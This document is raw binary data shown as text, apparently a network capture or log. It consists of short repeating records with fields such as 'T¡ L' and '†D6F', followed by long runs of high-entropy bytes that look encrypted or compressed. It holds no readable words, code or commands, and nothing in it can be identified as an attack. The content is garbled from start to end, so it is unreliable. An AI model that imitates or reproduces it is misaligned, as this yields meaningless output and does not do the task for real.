L¿2)¿2)px†D6Fq4 : T¡ L¿2)¿2)px†D6Fr8 : T¡ L¿2)¿2)px†D6Fr: : T¡ L¿2)¿2)px†D6Fq> Ô T¡ L†D6Fq@ : T¡ L¿2)¿2)px†D6FqD : T¡ L¿2)¿2)px†D6FqF Õ T¡ L¿2)¿2)€x†D6FqH ß T¡ L¿2)¿2)€x†D6FqL Ô T¡ L†D6FrN  T¡ L¿2)¿2)€x†D6FrP : T¡ L¿2)¿2)€x†D6FqT Ô T¡ L†D6FrV : T¡ L¿2)¿2)€x†D6FqZ : T¡ L¿2)¿2)€x†D6Fr\ : T¡ L¿2)¿2)€x†D6Fq` : T¡ L¿2)¿2)€x†D6Fqd Ô T¡ L†D6Fqd Õ T¡ L¿2)¿2)x†D6Frh Ô T¡ L†D6Frj ß T¡ L¿2)¿2)x†D6Frl  T¡ L¿2)¿2)x†D6Fqp : T¡ L¿2)¿2)x†D6Fqt Ô T¡ L†D6Fqv : T¡ L¿2)¿2)x†D6Fqz : T¡ L¿2)¿2)x†D6Fq| : T¡ L¿2)¿2)x†D6Fr€ : T¡ L¿2)¿2)x†D6Fq‚ Õ T¡ L¿2)¿2) x†D6Fr„ ß T¡ L¿2)¿2) x†D6Fqˆ Ô T¡ L†D6FrŠ Ô T¡ L†D6FqŒ  T¡ L¿2)¿2) x†D6FrŽ : T¡ L¿2)¿2) x†D6Fr’ : T¡ L¿2)¿2) x†D6Fq˜ Ô T¡ L†D6Fqš : T¡ L¿2)¿2) x†D6Frž : T¡ L¿2)¿2) x†D6Fq¢ : T¡ L¿2)¿2) x†D6Fr¦ Ô T¡ L†D6Fr¨ Õ T¡ L¿2)¿2)Àx†D6Fr¬ Ô T¡ L†D6Fr² ß T¡ L¿2)¿2)Àx†D6Fr¸ Ô T¡ L†D6Fr  T¡ L¿2)¿2)Àx†D6FqÆ Ô T¡ L†D6FrÌ : T¡ L¿2)¿2)Àx†D6FrÐ Ô T¡ L†D6FqÚ Ô T¡ L†D6Fsæ Ô T¡ L†D6Fqî : T¡ L¿2)¿2)Àx†D6Frò Ô T¡ L†D6Frü Ô T¡ L†D6Fr Ô T¡ L†D6Fq Ô T¡ L†D6Fq Ô T¡ L†D6Fr" : T¡ L¿2)¿2)Àx†D6Fq$ : T¡ L¿2)¿2)Àx†D6Fq( : T¡ L¿2)¿2)Àx†D6Fr* Õ T¡ L¿2)¿2)Ðx†D6Fr, ß T¡ L¿2)¿2)Ðx†D6Fr.  T¡ L¿2)¿2)Ðx†D6Fq6 : T¡ L¿2)¿2)Ðx†D6Fq8 : T¡ L¿2)¿2)Ðx†D6Fr< : T¡ L¿2)¿2)Ðx†D6FrB Õ T¡ L¿2)¿2)àx†D6FqH  T¡ L¿2)¿2)àx†D6FrJ : T¡ L¿2)¿2)àx†D6FqN : T¡ L¿2)¿2)àx†D6FrR : T¡ L¿2)¿2)àx†D6FrT : T¡ L¿2)¿2)àx†D6FrZ Õ T¡ L¿2)¿2)ðx†D6Fs\ Ô T¡ L†D6Fr^ ß T¡ L¿2)¿2)ðx†D6Fs`  T¡ L¿2)¿2)ðx†D6Frd : T¡ L¿2)¿2)ðx†D6Frf : T¡ L¿2)¿2)ðx†D6Fqj : T¡ L¿2)¿2)ðx†D6Frn Ô T¡ L†D6Frp : T¡ L¿2)¿2)ðx†D6Frr : T¡ L¿2)¿2)ðx†D6Frv Ô T¡ L†D6Fqx Õ T¡ L¿2)¿2)y†D6Fr| Ô T¡ L†D6Fq| ß T¡ L¿2)¿2)y†D6Fr€  T¡ L¿2)¿2)y†D6Fq„ : T¡ L¿2)¿2)y†D6Fr† : T¡ L¿2)¿2)y†D6FrŠ : T¡ L¿2)¿2)y†D6FsŽ Ô T¡ L†D6Fq : T¡ L¿2)¿2)y†D6Fr” Ô T¡ L†D6Fr– : T¡ L¿2)¿2)y†D6Fq˜ Õ T¡ L¿2)¿2)y†D6Fqš ß T¡ L¿2)¿2)y†D6Fr  : T¡ L¿2)¿2)y†D6Fr¤ : T¡ L¿2)¿2)y†D6Fq¦ : T¡ L¿2)¿2)y†D6Fqª : T¡ L¿2)¿2)y†D6Fq® Ô T¡ L†D6Fr° : T¡ L¿2)¿2)y†D6Fs´ Õ T¡ L¿2)¿2) y†D6Fr¶ Ô T¡ L†D6Fq¸ ß T¡ L¿2)¿2) y†D6Frº  T¡ L¿2)¿2) y†D6Fq¾ : T¡ L¿2)¿2) y†D6Fq : T¡ L¿2)¿2) y†D6FrÄ : T¡ L¿2)¿2) y†D6FrÈ Ô T¡ L†D6FrÊ : T¡ L¿2)¿2) y†D6FrÌ : T¡ L¿2)¿2) y†D6FqÐ Õ T¡ L¿2)¿2)0y†D6FrÒ Ô T¡ L†D6FqÖ  T¡ L¿2)¿2)0y†D6FqÚ : T¡ L¿2)¿2)0y†D6FrÞ : T¡ L¿2)¿2)0y†D6Frà : T¡ L¿2)¿2)0y†D6Fqä : T¡ L¿2)¿2)0y†D6Fræ : T¡ L¿2)¿2)0y†D6Fqè Õ T¡ L¿2)¿2)@y†D6Fqì Ô T¡ L†D6Frî ß T¡ L¿2)¿2)@y†D6Fqò Ô T¡ L†D6Frò  T¡ L¿2)¿2)@y†D6Fqö : T¡ L¿2)¿2)@y†D6Frø : T¡ L¿2)¿2)@y†D6Frü Ô T¡ L†D6Frþ : T¡ L¿2)¿2)@y†D6Fr : T¡ L¿2)¿2)@y†D6Fq : T¡ L¿2)¿2)@y†D6Fr Õ T¡ L¿2)¿2)Py†D6Fq ß T¡ L¿2)¿2)Py†D6Fr  Ô T¡ L†D6Fr  T¡ L¿2)¿2)Py†D6Fr : T¡ L¿2)¿2)Py†D6Fs Ô T¡ L†D6Fr : T¡ L¿2)¿2)Py†D6Fq Ô T¡ L†D6Fr : T¡ L¿2)¿2)Py†D6Fq  : T¡ L¿2)¿2)Py†D6Fr" : T¡ L¿2)¿2)Py†D6Fq& Ô T¡ L†D6Fr* Õ T¡ L¿2)¿2)py†D6Fr, ß T¡ L¿2)¿2)py†D6Fq0 Ô T¡ L†D6Fq4  T¡ L¿2)¿2)py†D6Fq8 : T¡ L¿2)¿2)py†D6Fr< Ô T¡ L†D6Fr@ : T¡ L¿2)¿2)py†D6FrH Ô T¡ L†D6FrT Ô T¡ L†D6FqX : T¡ L¿2)¿2)py†D6Fr^ Ô T¡ L†D6Frj Ô T¡ L†D6Frt : T¡ L¿2)¿2)py†D6Frx Ô T¡ L†D6Fq‚ Ô T¡ L†D6FqŒ Ô T¡ L†D6Fr” : T¡ L¿2)¿2)py†D6Fq˜ Ô T¡ L†D6Fqœ Õ T¡ L¿2)¿2)€y†D6Fr  ß T¡ L¿2)¿2)€y†D6Fq¢  T¡ L¿2)¿2)€y†D6Fq¦ Ô T¡ L†D6Fr¨ : T¡ L¿2)¿2)€y†D6Fqª : T¡ L¿2)¿2)€y†D6Fr® : T¡ L¿2)¿2)€y†D6Fr° : T¡ L¿2)¿2)€y†D6Fr´ : T¡ L¿2)¿2)€y†D6Fq¶ Õ T¡ L¿2)¿2)y†D6Fq¸ ß T¡ L¿2)¿2)y†D6Fq¼ Ô T¡ L†D6Fr¾ Ô T¡ L†D6FrÀ  T¡ L¿2)¿2)y†D6FqÄ : T¡ L¿2)¿2)y†D6FqÆ : T¡ L¿2)¿2)y†D6FrÊ : T¡ L¿2)¿2)y†D6FqΠ: T¡ L¿2)¿2)y†D6FqР: T¡ L¿2)¿2)y†D6FqÖ Ô T¡ L†D6FqØ ß T¡ L¿2)¿2) y†D6FqÚ  T¡ L¿2)¿2) y†D6FqÞ : T¡ L¿2)¿2) y†D6Fqà : T¡ L¿2)¿2) y†D6Fqä : T¡ L¿2)¿2) y†D6Fqæ : T¡ L¿2)¿2) y†D6Fsê Ô T¡ L†D6Frì : T¡ L¿2)¿2) y†D6Frð$$Õ T¡ L¿2)¿2)°yÀ‚„‹–†D6Frò Ô T¡ L†D6Fqö Ô T¡ L†D6Frö$$ß T¡ L¿2)¿2)°yÀ‚„‹–†D6Fqø$$ T¡ L¿2)¿2)°yÀ‚„‹–†D6Fqü$$: T¡ L¿2)¿2)°yÀ‚„‹–†D6Fq$$: T¡ L¿2)¿2)°yÀ‚„‹–†D6Fq Ô T¡ L†D6Fr$$: T¡ L¿2)¿2)°yÀ‚„‹–†D6Fr$$: T¡ L¿2)¿2)°yÀ‚„‹–†D6Fr $$: T¡ L¿2)¿2)°yÀ‚„‹–†D6Fr$$Õ T¡ L¿2)¿2)ÀyÀ‚„‹–†D6Fr Ô T¡ L†D6Fr$$ß T¡ L¿2)¿2)ÀyÀ‚„‹–†D6Fr Ô T¡ L†D6Fr$$ T¡ L¿2)¿2)ÀyÀ‚„‹–†D6Fq$$: T¡ L¿2)¿2)ÀyÀ‚„‹–†D6Fr $$: T¡ L¿2)¿2)ÀyÀ‚„‹–†D6Fq$$$: T¡ L¿2)¿2)ÀyÀ‚„‹–†D6Fr,$$: T¡ L¿2)¿2)ÀyÀ‚„‹–†D6Fq.$$Õ T¡ L¿2)¿2)ÐyÀ‚„‹–†D6Fq0$$ß T¡ L¿2)¿2)ÐyÀ‚„‹–†D6Fq6$$: T¡ L¿2)¿2)ÐyÀ‚„‹–†D6Fr:$$: T¡ L¿2)¿2)ÐyÀ‚„‹–†D6Fq>$$: T¡ L¿2)¿2)ÐyÀ‚„‹–†D6FqB Ô T¡ L†D6FrD$$: T¡ L¿2)¿2)ÐyÀ‚„‹–†D6FrH$$: T¡ L¿2)¿2)ÐyÀ‚„‹–†D6FqJ Ô T¡ L†D6FrL$$Õ T¡ L¿2)¿2)àyÀ‚„‹–†D6FqN$$ß T¡ L¿2)¿2)àyÀ‚„‹–†D6FsT$$: T¡ L¿2)¿2)àyÀ‚„‹–†D6FrX$$: T¡ L¿2)¿2)àyÀ‚„‹–†D6Fr\$$: T¡ L¿2)¿2)àyÀ‚„‹–†D6Fq^$$: T¡ L¿2)¿2)àyÀ‚„‹–†D6FqfVVBÿÿÿÿÿÿ¿2) T¡ Lðy¨—x6èuyíÙ\Ù,NšÔÑ_ZTË6\ uØ„­­+¸i#®ŒFGl¹çÝúˆÎð·’¨œv1†D6FqhVVBÿÿÿÿÿÿ¿2) T¡ Lz•b_«”)6?ð„íZŧµ‘ÜÅ~w«Qλâ Ç„Íɯhúá8øâkÀ½(p¾ÆåKÙCuaoÜW†D6Fsj Ô T¡ L†D6FqlVVBÿÿÿÿÿÿ¿2) T¡ LzðÁÄT¤öw6²ƒ3‰e²{" ¿¶ãr™‰Âyk-۞טóŽ9/Ÿ7ñÆ %oÔ¨{ö¦%w€†D6FqlVVBÿÿÿÿÿÿ¿2) T¡ L zúн$®äŽ»¯ÜS\6øÈ}Z<c¶©¯t|Üvʪ»Þg+ zs¹­˜i|+5çG¾>f²²0FI†D6FqpVVBÿÿÿÿÿÿ¿2) T¡ L0z%ÓÎÚ$[ä‚“¡º7'íuGü }òé ¤OО«ÉVÔuæ·ðòõîÑx’·oØ[§4vŠKÇWŽõ¦p»†D6Frr Ô T¡ L†D6FrtVVBÿÿÿÿÿÿ¿2) T¡ L@zÚpûbš– Fl^VIö©ƒ pÞ¦cìÞ‰Ÿò"Ц€)¦®.ñ-í¹ÇÞCÀ¿Á}=ãÓ0Þ—&ÉÛ\”ö†D6FrtVVBÿÿÿÿÿÿ¿2) T¡ LPz­îYûÄ×C[ˆ ’ð}^¨ P ÑPDÔžÕfµñ_6±ã²¥æ³ÂÀˆÙÐkPÈZ¶ŒCuå,@ôêì¢{`¸dÿ†D6FqvVVBÿÿÿÿÿÿ¿2) T¡ L`z‚|tÿšr|Ò3Ýq°lÅ¡ìH”ø4‡G¡.–·ã#’õ' é ·ü¥Ç#cò²kæSêÿ+½Vü€†D6FrxVVBÿÿÿÿÿÿ¿2) T¡ LpzYtÍIÈòþðÎpÄA ûáÑõ!³¬v$úÕù} sb[ÈûÔODâM­Öã}þÚy´ŒÑ†ýÛ†D6Fr|VVBÿÿÿÿÿÿ¿2) T¡ Lz+ޏ×z†>óØñð³tž]SÛüdåÌ5™°Vdž³•j³¡í88)I'Çu‹¿…߃~IO¢ùô+\Dd¿†D6Fq|VVBÿÿÿÿÿÿ¿2) T¡ L zâÖdn}RU,Éõ\i†Ú}G€S{RÛÎà¨ôÆX›?ϳ¼ïÑ¢UŸò”ûŸ¬:dþ~gÆxåô¼´†D6Fs€ Ô T¡ L†D6Fr€VVBÿÿÿÿÿÿ¿2) T¡ L°zôüÐÍ;^7¼u@/éѽÖ9?‚ZðÌgÊ"Æ‚­Ù—ßõ® øLû¤z&IððöÇàïòaJqÄŽ’†D6Fr‚VVBÿÿÿÿÿÿ¿2) T¡ LÀz2¦àgÁ Ý&ùM˜éÈý˜ŒÃ;úËQËm‡=óî¾[ÏË›„¾ €ÉÞƒeª‰•º­Ü!wO«î¹äs'†D6Fr„VVBÿÿÿÿÿÿ¿2) T¡ LÐzs¨ÆÏ-Þ ˜pݺ  ]k-!͆ËŠd!Ãx¤¸ìfÈ"*§îàùÀü’ÉÖôCr+2M´De–®è†D6Fr†VVBÿÿÿÿÿÿ¿2) T¡ Làz²¾smE ‹rn?~{6zÔ™ù8E^xƒöÒàëd¹üòg¢øû”JûùÎt8NvÉÍ¿÷w8l³åíc†D6Frˆ Ô T¡ L†D6FrŠVVBÿÿÿÿÿÿ¿2) T¡ Lðz:–‹#¢ðph¨ýRx ñ‹Q®”FR‡>š¡~0z8ƒžD%=T+ìÀtŠˆ«XñI–í íÏcZð]$†D6FqŒVVBÿÿÿÿÿÿ¿2) T¡ L{€p5å3^EÚžóWp¦öAÿ[i5µ§5’W}E¤Ï„è6¼:ÖeYGy”w†ÑÙíHìyãë\ÆV…ÿ“ùG†D6FsŽVVBÿÿÿÿÿÿ¿2) T¡ L{ìv‡Îª‚E²FÐ÷~BŸ|£¹¤=auûúÆœÔsÙH×ïñ»ÙÖ…t6i" aé¥Z4TO[•odžD6FrVVBÿÿÿÿÿÿ¿2) T¡ L {ÊV^a ñf_EïkôÜì:u¢ÅsL«í ä»Úˆ‹nà“·ÌÇK‡‚<€›<÷ÏßwNke&›ßë°‹\†D6Fr’VVBÿÿÿÿÿÿ¿2) T¡ L0{sBcÇöN¤ šÂ=7°ÉÔÆªgôR=>û Â9KžP³z\¬ÐqG^£fÊ øV ž¶yëÁ†D6Fq”VVBÿÿÿÿÿÿ¿2) T¡ L@{~\³’G"Äkmœ›v(4"õœ·T–Ž˜ø€½dìÀU˸ŒP¬š±zµl5)8ß‘¡õß%â‚›¿†D6Fs– Ô T¡ L†D6Fr˜VVBÿÿÿÿÿÿ¿2) T¡ LP{ÄTìM w£kI'䣮ôèŽÈ•Z¡Çàu}a±> "€j­|Dê לú1p³[iŠE•@L“¶”Mq݆D6FqšVVBÿÿÿÿÿÿ¿2) T¡ L`{!?‰!ÈTÐ^ó/žúòøÕYTÔÞÓì[rG À_´`Žš’·nzkè™=—¤[ý#ôÆD6FqœVVBÿÿÿÿÿÿ¿2) T¡ Lp{`ªüxÝôĖʯÅÿ¾ïç;ð‡•³‡™ó!È|v#†B-hšëŸêÉCGØ6Ì‘²g!KQLwˆU@Eá†D6Fr VVBÿÿÿÿÿÿ¿2) T¡ L{qv‚@­ñvÊò8WúMž¹9Ãò÷ãô%NX~jÞˆýÇtq®œ‚ öAdí¸*o=7Ç|ù[k¤1ŸÍ:õ†D6Fr¢VVBÿÿÿÿÿÿ¿2) T¡ L {J°¦t·fžã<Ã✵o8M»ç0‹ÆP,ô£ýà¬Ç0+¯s³LÝìm=ÄoPͪh4C*n’¼-¡†D6Fr¢VVBÿÿÿÿÿÿ¿2) T¡ L°{ÿ"Û?]¹ýÈÒÇÛÏÌ-Ä_Ê1“§Ô ï•Vž<ã©L¨<ï›$6[ ?xÙ<é£uV«jÚåß0†D6Fr¤VVBÿÿÿÿÿÿ¿2) T¡ LÀ{ÑL¤DׄÞöñ1îÃÇ€#aþÐLB%oíG¥#‹àƒßÚÊÊ(ù?ÎÈÖ1}*[Wûú0%­*­m†D6Fr¦VVBÿÿÿÿÿÿ¿2) T¡ LÐ{Έ¬DÑ.Jƒ[h ¨\IJY½F“•§¤ŽÆ6eø›‘·Ö ³nøZ8t6à¨JwßnWÑe¶ªI°žNô/§†D6Fq¨VVBÿÿÿÿÿÿ¿2) T¡ Là{ØÔÍtÄÊöšHµÁX£ZŽf‹>À\Ä:YRWšŸï (ù^á¤pÿÉe—¾¥ :%>ºµ›P<&$|†D6Fsª Ô T¡ L†D6Fr¬VVBÿÿÿÿÿÿ¿2) T¡ Lð{]àŽô ­kÔOºü° óÒX˜ÊÿWÕ¤Ê~X“ͱiúy+(¡ð˜?áNnüÜxG.û>=\¡H8†D6Fr®VVBÿÿÿÿÿÿ¿2) T¡ L|$Þª–u8‰Vw6Å—+˜¤ÐV+ó=¥cÓD’ ühHgSFiùÛÐLŠE°‘õBÒ'Êæ•Ú*m¶†D6Fq°VVBÿÿÿÿÿÿ¿2) T¡ L|&L,ÿ—ï™åÜ…¢m5ŒvT4ä‘ÕåÌO[–HMÏy–X¸c@¡³KOqM-ŸÅã$<>êì@SEN†D6Fq²VVBÿÿÿÿÿÿ¿2) T¡ L |µ–ㆳy€u0§uåÚ5„žÇ´UÂ|c"½íP„fîtÄ:„Do ™ý’àë™ò½ÆÓËŒÕTE²†D6Fq¶VVBÿÿÿÿÿÿ¿2) T¡ L@|DHZÈ;Ñ7Eü±#ªF sÉ[éš™¬=ø hüyŒ]D°EV.C¤¯øæ;:»•MH0Ž@™sNK†D6Frº Ô T¡ L†D6FqºVVBÿÿÿÿÿÿ¿2) T¡ LP|–vã°ì&Täzí7lšÊÐNº7߆­?PЈåIN̯±²c:sK4Ä®´7L¾6½êÇäÄ9~ƒ\s½†D6Fr¼VVBÿÿÿÿÿÿ¿2) T¡ L`|…€Ä3R“ø¼ØÀŸq1±ÄÝ‹©(œ °0Ê¿"Ä Z@XyýúW<€‡- ©ƒ†2‹:‰ôêÛJ ø€C/†D6Fq¾VVBÿÿÿÿÿÿ¿2) T¡ Lp|)UÂV”1\ú‚5ó†D‚ºÈI(.†‡ÓRÉþ0jí^蓇…à\ºéö‚öÄ<ÔT‰®9ºä¢ :ÒÓ¢†D6FqÀVVBÿÿÿÿÿÿ¿2) T¡ L€|¾>%ÝOвèôw´>Ý`e&'uuHJ ?ìç ]!ÍæÁH;§4Æ‹™ð;8j«í¡3šl›„##ÜÑq†D6FrÀVVBÿÿÿÿÿÿ¿2) T¡ L|d÷³©C®ˆQ·Ð]׿3ÒÚ–X-à&»üê‡ë§ZR[¹e>Ÿ ]d5“A·éQæûÚîêLVH°†D6FqÄ Ô T¡ L†D6FrÆVVBÿÿÿÿÿÿ¿2) T¡ L |`òwLNW¬7îka̹öE7å¿Y|ÉMëxˆqQËQi8y£°µ¡:#8&™•2À8–SA¡è ᡾±öÃi¼†D6FqÆVVBÿÿÿÿÿÿ¿2) T¡ L°| j³?ŸŠnÒµi¯ìIí¯ì M ä`ë8Eƒ$6HÔ˜ ¼ì¶cá\¤Î:îªA/ª<²Ñð/ß=Mm†D6FrÈVVBÿÿÿÿÿÿ¿2) T¡ LÀ|¿žvÕT™yæäXwòpŠfÒÌa5 YQ{(F±o²¾—©y+)Ž9äMZñhå9èƒéçj3Î’rÑÔÖ?Ò†D6FrÊVVBÿÿÿÿÿÿ¿2) T¡ LÐ|¦`5pEÑ,— ½½ƒ¿qÖ˜¿íc{„}d®æ—À½j%Êö‹š•6ÞŽãçðÔm¦–€¡¿Â9†D6FrÌVVBÿÿÿÿÿÿ¿2) T¡ Là|è Î>ˆµJŠdR¦ú:Þ¯³„`žŸÓƒ÷ß1æÜ%ÞWy=º¶þ¾bûDloÀ+KVñÔr±ñ„lýÕ ^†D6FqÎ Ô T¡ L†D6FqÐVVBÿÿÿÿÿÿ¿2) T¡ Lð|ÀØMz¬ÆõÔ…Ö±¥K¥æq,jÉãC¥Èön§¹¤œXe¢Y\¨Ût‡qzϧÎ{¬Eð7m#é-0 ÄȆD6FrÒVVBÿÿÿÿÿÿ¿2) T¡ L}€³êþPLD“º|˜LË«îÀ¿»f™-ˆªgìý¬uš¿­™aBêO¼ZDØ'T#ùZ[ì%ù;¹8è©à†D6FqÔVVBÿÿÿÿÿÿ¿2) T¡ L } Êî»Ë€®ëWª€¬/bWaƒô¢©ãËëw òƒN˜†3†Ÿ`AÏ—©ègsy’¾¹š2`IÏÈ›O†D6FrØVVBÿÿÿÿÿÿ¿2) T¡ L0}@žËþÊ["ÐçTÎ-Rç(N,L#Ä%î¦F)öÚ:ûö#œ¯F¯ß©A-à2~½•ö´øløµ ™ãˆÚ†D6FqØVVBÿÿÿÿÿÿ¿2) T¡ L@}=¶–Ä7˺yV«¦R´§êùaB—ŠŠ~: 0O< á‘©ÓŸ>¹ÞSÒ¥{ .ÄSC:܆D6FrÜ Ô T¡ L†D6FqÜVVBÿÿÿÿÿÿ¿2) T¡ LP}âÊ:$©5¿BPã`Y,ŠØ„iL­?7ÿW}»“æŽÂZhä¹³caFrPé¢m´w3 õÀQa¦Óïµ~†D6FrÞVVBÿÿÿÿÿÿ¿2) T¡ L`}v› pd;,h6y7ÿ£“ùÝG\Óö¦ZF%â°®‹=Sê}t¼rž^‘@ú†½|c?6½Íž7-b”E‹·†D6FràVVBÿÿÿÿÿÿ¿2) T¡ Lp}ÑìJùê>æõ¸© ¼kŸ~ @\/$™‡"ì¨qjy]‹‹›×¼Ñïc/1s)¦ÞÎ2Æl:v†D6FrâVVBÿÿÿÿÿÿ¿2) T¡ L€}·dÄ™™¢.çI(󵨧 qWªh|Ä¡k4™î'÷š‘3œ§HðͤOÂJã´[ÇÍ0RÀL†D6FqøVVBÿÿÿÿÿÿ¿2) T¡ L ~v&ô„Ç”ÜN‚³5Nnq·§RJêâ¢iaHXUf%¿dE //ÕÄFûLãìãòAx]mPšÊŽ5‘&†D6Frú Ô T¡ L†D6FrüVVBÿÿÿÿÿÿ¿2) T¡ L0~&ÌÍûW„Ig¨Ö r¸¥|Á©ðíŽØë Ž°ß»Ó1åøÕÑ ÊAndC©ƒ8Ð*Æk"ÀpµÃ`˺„†D6FqþVVBÿÿÿÿÿÿ¿2) T¡ L@~š*,ηzދײe‚IöÝ2·Øw}Hš×ÔsåÓp’ÿƒxVnöãBdˆ/JOÀœÿ;ÛÍì.̆D6FrVVBÿÿÿÿÿÿ¿2) T¡ LP~: iùØ!©T±MÊ#SLF÷hŸŽ~Œ÷$I '¿=Ý‚d°¼´¹>Aª2»ŽÄ6LQ:)+qÚ}L©H‡$à†D6FrVVBÿÿÿÿÿÿ¿2) T¡ L`~ 1,ø,ï?á2·ÛUo-¿%ºò[®‹ÑJpg8T ïÛaK÷Û*uIa$ÓÊ ÿ;¦!ÖèÉX©ž†D6FqVVBÿÿÿÿÿÿ¿2) T¡ Lp~Ôö[ ßQ(Åén¤ÁiŽ03~Êü’ñ±˜q³¸t ÀR;XHò ±6#e}vz ?n'öŒ{ ÉK_P†D6FrVVBÿÿÿÿÿÿ¿2) T¡ L€~÷.wg+Éñ<ééÿׯ$H¹àòÊ2lòc‰V¯µœFñƒ;Â[K½„ðvI{óHK[öŠÕ*ƆD6Fq Ô T¡ L†D6FqVVBÿÿÿÿÿÿ¿2) T¡ L~ÆÛ‚BSRÚ=áûZhÿŸN†,7ŽÓ›Wö9°ªa(V£(C‚"˨CÿÄéM×”Û9á”Q½´†D6Fq VVBÿÿÿÿÿÿ¿2) T¡ L ~,„|4€îåaßǵcSÛ®$š¼îÖ5æð½«›AÇh˵É¡oçÝ”s¢zÛ‹ÿ׉A-TiXàû†D6Fr VVBÿÿÿÿÿÿ¿2) T¡ L°~Ün©¡ìUùjó$'CP‹}?0Ì~éÁóš.V½D¨A—ϳG¡£?ßÎp¢ó×I¡hŸH:v€kE†D6Fr VVBÿÿÿÿÿÿ¿2) T¡ LÀ~¥†fŒ%Ÿ8²·N{À?œ Ù%Ö¯åO ^sc •í›rëå~QŒH/ßÛ{~NþE^ב‚dA¬cM$Ø£†D6FrVVBÿÿÿÿÿÿ¿2) T¡ LÐ~»ÚNÀYÍ™ì –jç£Å¼hE¥v„EÙl°Ø ½gü³õ#ìèjóZ5_¡G¯yA¥yíÝõc†D6Fq Ô T¡ L†D6FrVVBÿÿÿÿÿÿ¿2) T¡ Là~âÀÇNÅò‚@ÚBKàû1ø’Ç¿Á“ÑŸÞ¿ho&žRQ¸à5sÕùV {ž¤†òØWðù÷CÅ~¬ž{-J†D6FrVVBÿÿÿÿÿÿ¿2) T¡ Lð~!\¡÷ª¢äôöÀâWÄ!W˜­ãªêÖ'N^EnA ¾Ä0?ŒG>lHêöñIÍZ|GÖ¼’Õ©ð+µ¡Áéæ„ øƒš3M•¢b>‚“ÿׯ#çw ꨛ8 a÷XÍ5”’0†D6FqVVBÿÿÿÿÿÿ¿2) T¡ L0Öòl¿ü²GT>þÁ%89åÐÕART¡G¾ÿŽNmš„F€¡–fq/)̶d8#0â»1Þ ”“Q¸©@5•†D6Fr Ô T¡ L†D6FqVVBÿÿÿÿÿÿ¿2) T¡ L@?47„ô”…‚V<ºãPë ×›¡.]ûv z|;†îÞ–#ßbÍ …xO$ç[>ÕàX©½%Q ¢kô4†D6Fq VVBÿÿÿÿÿÿ¿2) T¡ LPäÐgÞŠá$r#ó„L¾Õ¿ùygœ²¾s ºc°î÷µä–ºÛ€Ã«¨Áský¨„ÜL¦¦0nË5\†D6Fr"VVBÿÿÿÿÿÿ¿2) T¡ L`@¤cÛG Ò˜Z¾H—V£+©Á§JÚX|Ó|È gti_Ù'x¥#ÖoK°?t³ß;RNy"–^Q†D6Fr$VVBÿÿÿÿÿÿ¿2) T¡ Lp²4𱂡}áoþw-1 ½›æÐñ «½øG^&SY%<¢€UÊž k„B,¿¡x<9.ðPʆèé†D6Fr&VVBÿÿÿÿÿÿ¿2) T¡ L€Žóã Ô•.~p*"Þ¯T‘ü""Øþö´[bFí\>Q+””l`+/ˆ7i©¤kV9Ñ)ç¤k-†D6Fr( Ô T¡ L†D6Fr*VVBÿÿÿÿÿÿ¿2) T¡ L.z»ŒF÷L®}øÏØÄXfWã­ÓÅC˜¢¿¯¤„ÎÆ­,E΃ø =DéX†˜âçŸSnöÐÑN†D6Fq,VVBÿÿÿÿÿÿ¿2) T¡ L rá[MÈkŸR+Ç]9 £7ú|Nˆl^OÏäçÔ£wºlÂòçyg…1Á#4ðÁ/™œ]ö?÷Å ­ÜñcX†D6Fq.VVBÿÿÿÿÿÿ¿2) T¡ L°Üð´°AQ¡-;Ô×u¦—n­?辺Qâqø‘îÖàÎ>2a›iê†:-ø×{4íXá‹ ƒ/°ÆFïë†D6Fq0VVBÿÿÿÿÿÿ¿2) T¡ LÀ*Z+¨ÿ éë)¸ @½æQu‹‹YÅý˜àú½°¡èÿ)ÓU3§9TÖ0õ3¥:Žê=,¨·èû.Åð¬†D6Fr2VVBÿÿÿÿÿÿ¿2) T¡ LЈVÅŠ„¿1¿¼ßÇŠÚë÷þÌ7vOæZÞÅ….¥žé ™@ÛVú)•¢Û1WùøÜº’±RbÍ5ˆmÛž†D6Fr4VVBÿÿÿÿÿÿ¿2) T¡ Lై¼í w §)M€ÒÑ•´b}æEÑÅQÏXE«Np„… è¸x‹XºÀ‹F¯©i${ä˜p6ŠeùIB†D6Fq6 Ô T¡ L†D6Fr8VVBÿÿÿÿÿÿ¿2) T¡ LðØÔý¿×/XO˜¶W€%øYÁ¨´HÑž»Æ–îÏS•;"–g\ ÄYÑá£ëÜ3÷½m¡PÛý¡Û¡ºC†D6Fr:VVBÿÿÿÿÿÿ¿2) T¡ L€íàÇE­.Gp–½ l_s  ÁMÃÂpê#%ñ‹Èú¾*uå¦mk¨RýX<Åwé‚tøE†D6Fr<VVBÿÿÿÿÿÿ¿2) T¡ L€£ÎA3ìYĸn¬œ1{:ßBüÌb$'21ñÛJÆq³R»-Ì:Õg1;Õ' Ñä _…ïûH|ùÖ¡ †D6Fq>VVBÿÿÿÿÿÿ¿2) T¡ L €¾<Ë®óD ]- |½(³Q¡ká{2ðs[ŸæÊÃz"sifmYÓ”uêOIw"nˆ©ÊªE1 •EÕ§×k+O†D6Fq@VVBÿÿÿÿÿÿ¿2) T¡ L0€¶”ê\ŽŒ±TøVξô)5û•(¸b¾M§ôïUôw ¬Úl{°Xóëïçöú®Ù‡â3xw?¨VÀ ‘þ†D6FrDVVBÿÿÿÿÿÿ¿2) T¡ LP€€Efç7P6ÐÀï­†²­oü&é¾:›äÌ0![k©ã̰¼LàÌö¤¦ð63ýß‹²Š.:¨ï|I5\†D6FqDVVBÿÿÿÿÿÿ¿2) T¡ L`€=à »c/tç̲âh*W‰/@0¯å´E{½¿Ó 3V`›D¸ï·+¹.1Äfwû3²8Sõ†D6FrFVVBÿÿÿÿÿÿ¿2) T¡ Lp€³Ð‰9s÷¬ púÒ$7r5èù–áA;‹n;aLG}Ÿ³§k\WÖ˜uwÒ?³¨hð¨*½8j÷ åé†D6FqHVVBÿÿÿÿÿÿ¿2) T¡ L€€ÕÖc¸§Ü¢ê\d—rúóðìÕ5x‡Ý†D6FqRVVBÿÿÿÿÿÿ¿2) T¡ LÀ€ý´q-†–w…œ¯ºYs6 !CΡ+´ä‘ǹ”V|±Fy÷Bpå Q¨8ÊZ¿²(’…¯•͆D6FrTVVBÿÿÿÿÿÿ¿2) T¡ LЀlþ@ú©ŽöhÔ®ãk§ÒtIyIð´’së­ÄÏE{eé.dé½À"qû{M8=Kµ–"Bü“ÓÏÕ%†D6FqV Ô T¡ L†D6FqXVVBÿÿÿÿÿÿ¿2) T¡ Là€Ý,ñ¯[³ÃBÞ¡®8ŸþQiNÄ3s/¸| âØgûN$S 